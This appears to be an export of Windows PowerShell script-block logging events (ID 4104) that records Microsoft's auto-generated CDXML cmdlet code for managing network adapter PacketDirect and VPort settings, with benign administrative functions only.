$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterPacketDirect' -Alias '*'
function Disable-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPacketDirectSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterPacketDirect' -Alias '*'
ScriptBlock ID: 865332e6-0cfc-4149-ad25-4441687db240
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1955 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-c7fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterPacketDirectSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPacketDirectSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterPacketDirect' -Alias '*'
function Set-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPacketDirectSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPacketDirectSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${DomainId},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DomainId')) {
[object]$__cmdletization_value = ${DomainId}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DomainId'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DomainId'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterPacketDirect' -Alias '*'
function Enable-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPacketDirectSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cd
ScriptBlock ID: 865332e6-0cfc-4149-ad25-4441687db240
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1954 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-c7fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterVPortSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterVPort
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVPortSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Id')]
[ValidateNotNull()]
[uint32[]]
${VPortID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[uint32[]]
${SwitchID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('VfID')]
[ValidateNotNull()]
[uint16[]]
${FunctionID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('PF')]
[switch]
${PhysicalFunction},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('VPortID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${VPortID})
$__cmdletization_queryBuilder.FilterByProperty('VPortID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SwitchID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SwitchID})
$__cmdletization_queryBuilder.FilterByProperty('SwitchID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('FunctionID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${FunctionID})
$__cmdletization_queryBuilder.FilterByProperty('FunctionID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PhysicalFunction') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PhysicalFunction', ${PhysicalFunction})
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVPort.cmdletDefinition.cdxml-Help.xml
}
